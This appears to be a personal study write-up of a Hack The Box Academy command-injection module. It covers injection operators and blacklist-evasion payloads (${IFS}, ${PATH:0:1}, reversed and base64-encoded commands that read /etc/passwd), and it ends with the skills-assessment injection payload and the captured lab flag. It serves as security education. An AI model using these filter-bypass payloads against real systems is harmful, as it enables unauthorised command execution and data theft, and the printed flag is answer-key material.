Recap on the importance of distinguishing different injections (list is not exhaustive):

Note that OS Command Injection can happen through the means of a language like PHP if system calls are used. Code injection would only be tied up to the language itself and not reach OS commands.

Exploitation

Detection


HTB provides a table for injection characters to test out :

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
New Line\n%0aBoth
Background&%26Both (second output generally shown first)
Pipe|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR|%7c%7cSecond (only if first fails)
Sub-Shell``%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)
The practicing exercise is the exact same as the ping situation in DVWA.

Questions

Injecting Commands


TL;DR

Front-End validation is active and request can still be modified and sent. The input field verification is only checked in the browser.

Using Burpsuite to intercept / replay our request and get rid of the front-end checks.

Questions

Other Injection Operators


Quick listing of Injection types and operators.

Injection TypeOperators
SQL Injection' , ; -- /* */
Command Injection; &&
LDAP Injection* ( ) & |
XPath Injection' or and not substring concat count
OS Command Injection; & |
Code Injection' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal../ ..\\ %00
Object Injection; & |
XQuery Injection' ; -- /* */
Shellcode Injection\x \u %u %n
Header Injection\n \r\n \t %0d %0a %09

Questions

Filter Evasion

Identifying Filters


Now the same lab has filters active to prevent command execution. If we’re able to identify a typical response that indicates filtering, we can test out specific characters or keywords / commands to check for active blacklisting measures.

Questions

Bypassing Space Filters


Space can be filtered on most payload and we won’t always get a good indication of such filtering. Tabulation, $IFS, Bash Brace Expansion are all possible ways of escaping the filter while keeping your payload functional.

BypassPayload example
Tabulationip=127.0.0.1%0A%09ls%09-la
${IFS}ip=127.0.0.1%0a${IFS}ls${IFS}-la
Bash Brace Expansionip=127.0.0.1%0a{ls,-la}

Questions

Bypassing Other Blacklisted Characters


Very interesting use of bash variables and delimiters to get access to special characters that might be filtered out without using them directly :

Linux examples

  • ${PATH:0:1} returns /
  • ${LS_COLORS:10:1} returns ;

Windows examples

Windows CMD

  • %HOMEPATH:~6,-11% returns \ (in the case the username is 11 char long like htb-student). Windows Powershell
  • $env:HOMEPATH[0] returns \. The underlying logic can be applied for different variables …

Character Shifting

Use shifting to get specific characters that would be filtered out. HTB provides an example with :

echo $(tr '!-}' '"-~'<<<[)
# \

The same principle can be used to get a semi-colon :

echo $(tr '!-}' '"-~'<<<:)
# ;

Questions

Bypassing Blacklisted Commands


The instance that was used for the previous exercise was the same as this one, which explains why some commands were blacklisted already. We can bypass this by exploiting quotes tricks however you should note that quotes are often filtered as well.

We can also leverage linux tricks using \ and $@ in the middle of our command. On Windows the ^ character has the exact same effect.

Advanced Command Obfuscation


Windows CMD and Powershall are not case sensitive so we can try to bypass existing filter by abusing this. This is not the case for Linux so we can try (if the command is not filtered) to use an modified command that will be set to lowercase.

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Note this payload would get blocked for using spaces so we can use the techniques from Bypassing Space Filters. Other ways to escape command blacklisting exists using bash functions like the following example :

$(a="WhOaMi";printf %s "${a,,}")

Speaking about bash functions, we can leverage rev that reverse the input given. This allow to evade usual blacklisting.

Linux examples :

echo 'whoami' | rev
$(rev<<<'imaohw')

Windows equivalent :

iex "$('imaohw'[-1..-20] -join '')"

Encoding our payload

This is a very well known topic. Base64 is the most popular encoding method since it’s so widely spread with built-in commands. Building our command with base64 can be done with simple commands like :

echo -n 'cat /etc/passwd | grep 33' | base64

and then decoded on the target with payload like :

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Evasion Tools


Checkout Bashfuscator on Linux and DOSfuscator for Windows. Otherwise just read the module.

Prevention

Command Injection Prevention


Same content as usual. Use input sanitization on server-side, enforce least privilege on the server running, disable every functionality that isn’t needed, reduce the visible scope for the server as well…

Skills Assessment

Skills Assessment


The application has a file management feature. Many parameters are working with file name. Here’s a sample list of different requests from the web-app :

/index.php?to=
/index.php?to=&view=605311066.txt
/index.php?to=&view=605311066.txt&quickView=1
/index.php?to=&from=605311066.txt&finish=1
/index.php?to=&dl=605311066.txt
/index.php?to=&from=605311066.txt&finish=1&move=1

We can try to work with the different parameters :

  • to
  • view
  • from
  • quickView
  • finish
  • dl
  • move

Since the request to move files in the file system returns validation message or error, we can focus on this one. Funnily, if you try to move back a file you previously moved to tmp, you’ll get a response containing Malicious request denied!. Note that I haven’t tried anything yet, but this gives us a hint of the parameter where we could start our injection :

Apparently, the %2F URL-encoded character (/) was flagged by the file manager against itself, preventing it to move back files from tmp.

So now we can try to work our way through this request to leverage a command injection on the parameter from. Even better, we can move the file anyway using ${PATH:0:1} instead of an URL-encoded /. Now it’s time to dig on the command injection to retrieve the content of /flag.txt.

Obviously it would be to easy if we could move the flag.txt file to the web server folder, unfortunately we’re getting a permission denied meaning the server doesn’t have write permissions on the file. However it might have read permissions otherwise we’re fucked.

Here I chose to keep digging using this request since the server’s response is quite verbose so it looks like my best chance to retrieve the flag is through the error output. The from parameter is heavely filtered against new-line, semi-colon characters. While I could use values like ${PATH:0:1} or simply dots since they are use in sane requests, I didn’t succeed in ending the output correctly and inserting a command that wouldn’t get filtered.

Since we’re moving a file from a location to an other one, it means we might be able to exploit the second parameter. Contrarely to the first one, it is vulnerable to a semi-colon URL-encoded character %3B. After this, I found many more or less obfuscated payloads that all would reveal the flag.txt file content. The simplest I found simply called cat /flag.txt by inserting $@ in between the cat command to escape the blacklisting, and using the previously working ${PATH:0:1} to specify the root folder. Tabulation replaces the space character.

%3Bc$@at%09${PATH:0:1}flag.txt

Encoding the whole payload, using bash and decode works wonders too.

With this the skill assessment is solved and we retrieved the flag HTB{c0mm4nd3r_1nj3c70r}.